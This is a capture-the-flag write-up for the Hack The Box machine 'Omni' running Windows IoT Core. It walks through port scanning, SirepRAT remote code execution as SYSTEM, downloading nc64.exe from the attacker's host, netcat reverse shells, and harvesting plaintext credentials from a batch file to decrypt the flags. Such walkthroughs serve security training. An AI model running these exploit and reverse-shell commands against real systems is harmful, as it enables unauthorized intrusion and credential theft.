Omni is an unique machine running Windows IoT Core, a variant of Windows designed for embedded systems like Raspberry Pi. Using SirepRAT we are able to achieve remote code execution, thereby shell on the box. Later we discover credentials of two users, allowing us to login Windows Device Portal and obtain shell for each user where we decrypt the flags from user’s home directories.
Reconnaissance
Starting off with masscan
& nmap
we discover six open TCP ports 135, 8080, 5985, 29817, 29819, 29820:
masscan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cfx: ~/Documents/htb/omni
→ masscan -e tun0 -p1-65535 --rate 500 10.10.10.204 | tee masscan.ports
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-03 13:47:59 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 5985/tcp on 10.10.10.204
Discovered open port 29819/tcp on 10.10.10.204
Discovered open port 29817/tcp on 10.10.10.204
Discovered open port 8080/tcp on 10.10.10.204
Discovered open port 135/tcp on 10.10.10.204
Discovered open port 29820/tcp on 10.10.10.204
cfx: ~/Documents/htb/omni
→ cat masscan.ports | grep tcp | sed s'/Discovered open port //' | awk -F/ '{print $1}' ORS=','
5985,29819,29820,29817,8080,135,
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cfx: ~/Documents/htb/omni
→ nmap -sC -sV -p5985,29819,29820,29817,8080,135 10.10.10.204
Nmap scan report for 10.10.10.204
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
5985/tcp open upnp Microsoft IIS httpd
8080/tcp open upnp Microsoft IIS httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
29817/tcp open unknown
29819/tcp open arcserve ARCserve Discovery
29820/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port29820-TCP:V=7.91%I=7%D=11/18%Time=5FB430D7%P=x86_64-pc-linux-gnu%r(
SF:NULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLines,10,
SF:"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\xfb`\x
SF:04G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\
SF:xc9}\xc8O\x12");
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.95 seconds
Port 135(RPC), 5895(WinRM), 8080(HTTP) seems familiar however 29817, 29819, 29820 are looked quite unusual at first glance.
Although Nmap identifies it as Windows, turns out a Quick google search on HTTP banner Windows Device Portal
leads us to this documentation which confirms it’s actually an Windows IoT Core.
Further researching on Unknown ports 29817, 29819, 29820 leads us to various documents on SirepRAT and Windows IoT Core.
Port 8080: HTTP
Visiting http://10.10.10.204:8080 presents a login prompt for Windows Device Portal:
SirepRAT
Going forward with searching exploiting Windows IoT brings us to SirepRAT which utilizes Sirep Protocol on Port 29819/29820.
For detailed explanation on SirepRAT we can refer this pdf
At the end of the pdf, it highlights SirepRAT Python exploit’s features which provide unauthenticated remote code execution as SYSTEM, exploit is available at their GitHub repo
Shell as Omni
Testing RCE
Referring Exploit’s usage to test and confirm arbitrary command execution as SYSTEM :
1
2
3
4
5
6
7
8
9
10
11
cfx: ~/Documents/htb/omni/SirepRAT |master ?:2 ✗|
→ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c echo %username% "
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 8, payload peek: 'omni$ '>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: ''>
cfx: ~/Documents/htb/omni/SirepRAT |master ?:2 ✗|
→ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c echo %userprofile% "
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 23, payload peek: 'C:\Data\Users\System '>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: ''>
Now that we have code execution, let’s upload nc64.exe
on the box using PowerShell iwr (Invoke-WebRequest)
:
1
2
3
cfx: ~/Documents/htb/omni/SirepRAT |master ?:2 ✗|
→ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c powershell iwr -uri http://10.10.14.11/nc64.exe -o nc64.exe" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
Executing nc64.exe
to return a reverse shell:
1
2
3
cfx: ~/Documents/htb/omni/SirepRAT |master ?:2 ✗|
→ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c nc64.exe -e powershell.exe 10.10.14.11 8020" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
Getting a call back on nc
listener:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cfx: ~/Documents/htb/omni/SirepRAT |master ?:1 ✗|
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 10.10.10.204.
Ncat: Connection from 10.10.10.204:49676.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\windows\system32>
PS C:\windows\system32> $env:username
$env:username
omni$
Apparently whoami
is not available on the box but we can user other PowerShell command like $env:username
to check the username which turns out to be omni$
Elevating Priv: omni$ -> app
Enumeration
To kick start the enumeration we can upload winPEAS.exe, but unfortunately it doesn’t work and throws error. However bat version of winPEAS does work, However uploading winPEAS.bat and running it on the box doesn’t give anything interesting.
Next, we can try to manually search for files, a good approach is to search for bat files as they are usually used to automate stuff or run commands on timely basis like cron jobs.
So we will make use of PowerShell command to recursively find bat files on the box. Here gci
stands for Get-ChildItem, -r
recursive and -force
is used to locate hidden files.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PS C:\> gci -r -force `*.bat
gci -r -force *.bat
Directory: C:\Program Files\WindowsPowerShell\Modules\PackageManagement
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-h-- 8/21/2020 12:56 PM 247 r.bat
Directory: C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/26/2018 11:36 PM 925 Pester.bat
Directory: C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/26/2018 11:36 PM 744 Build.bat
Going through r.bat
located at C:\Program Files\WindowsPowerShell\Modules\PackageManagement
we discover credentials for app and administrator user:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
PS C:\Program Files\WindowsPowerShell\Modules\PackageManagement> gci -force
gci -force
Directory: C:\Program Files\WindowsPowerShell\Modules\PackageManagement
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/26/2018 11:37 PM 1.0.0.1
-a-h-- 8/21/2020 12:56 PM 247 r.bat
PS C:\Program Files\WindowsPowerShell\Modules\PackageManagement> get-content r.bat
get-content r.bat
@echo off
:LOOP
for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete
net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz
ping -n 3 127.0.0.1
cls
GOTO :LOOP
:EXIT
Creds:
app:mesh5143
administrator:_1nt3rn37ofTh1nGz
Shell
Both the creds allow us to login on Windows device portal running Port 8080, first we’ll login using app
user creds. Once logged in Inside Processes
tab we have Run command
which allows us to run commands on the box.
Since we have already uploaded nc64.exe
on the box, we’ll use it to drop us a reverse shell as app
user:
Getting a callback on nc
listener:
1
2
3
4
5
6
7
8
9
10
11
12
13
cfx: ~/Documents/htb/omni
→ nc -lvnp 8050
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8050
Ncat: Listening on 0.0.0.0:8050
Ncat: Connection from 10.10.10.204.
Ncat: Connection from 10.10.10.204:49677.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\windows\system32> $env:username
$env:username
app
Further enumeration reveals, Interestingly user directories are located inside C:\Data\Users
on this box:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS C:\Data\Users> ls
ls
Directory: C:\Data\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/4/2020 9:48 PM administrator
d----- 7/4/2020 9:53 PM app
d----- 7/3/2020 11:22 PM DefaultAccount
d----- 7/3/2020 11:22 PM DevToolsUser
d-r--- 11/17/2020 9:13 PM Public
d----- 7/4/2020 10:29 PM System
Decrypt user.txt
Trying to retrieve contents of user.txt, we receive the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS C:\Data\Users\app> get-content user.txt
get-content user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">flag</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
</Props>
</Obj>
</Objs>
Turns out it’s an PSCredential encrypted file, while searching for decryption methods I came across this GitHub gist with reference to line 55, We understand we can use Import-CliXml
to decrypt the data:
1
2
3
4
5
6
7
PS C:\Data\Users\app> $cfxuser = Import-CliXML -Path C:\Data\Users\app\user.txt
$cfxuser = Import-CliXML -Path C:\Data\Users\app\user.txt
PS C:\Data\Users\app> $cfxuser.GetNetworkCredential().Password
$cfxuser.GetNetworkCredential().Password
7cfd50f6bc34db3204898f1505ad9d70
Elevating Priv app -> administrator
Following the same process, we can login to Windows device portal and use Run command to get ourselves reverse shell as administrator:
Admin Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
cfx: ~/Documents/htb/omni
→ nc -lvnp 8090
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8090
Ncat: Listening on 0.0.0.0:8090
Ncat: Connection from 10.10.10.204.
Ncat: Connection from 10.10.10.204:49678.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\windows\system32> $env:username
$env:username
Administrator
Decrypt root.txt
Apparently root.txt is also encrypted, we’ll again use Import-CliXml
to decrypt the flag:
1
2
3
4
5
6
7
PS C:\Data\Users\Administrator> $cfxroot = Import-CliXML -Path C:\Data\Users\Administrator\root.txt
$cfxroot = Import-CliXML -Path C:\Data\Users\Administrator\root.txt
PS C:\Data\Users\Administrator> $cfxroot.GetNetworkCredential().Password
$cfxroot.GetNetworkCredential().Password
5dbdce5569e2c4708617c0ce6e9bf11d
And we pwned the Box !
Thanks for reading, Suggestions & Feedback are appreciated !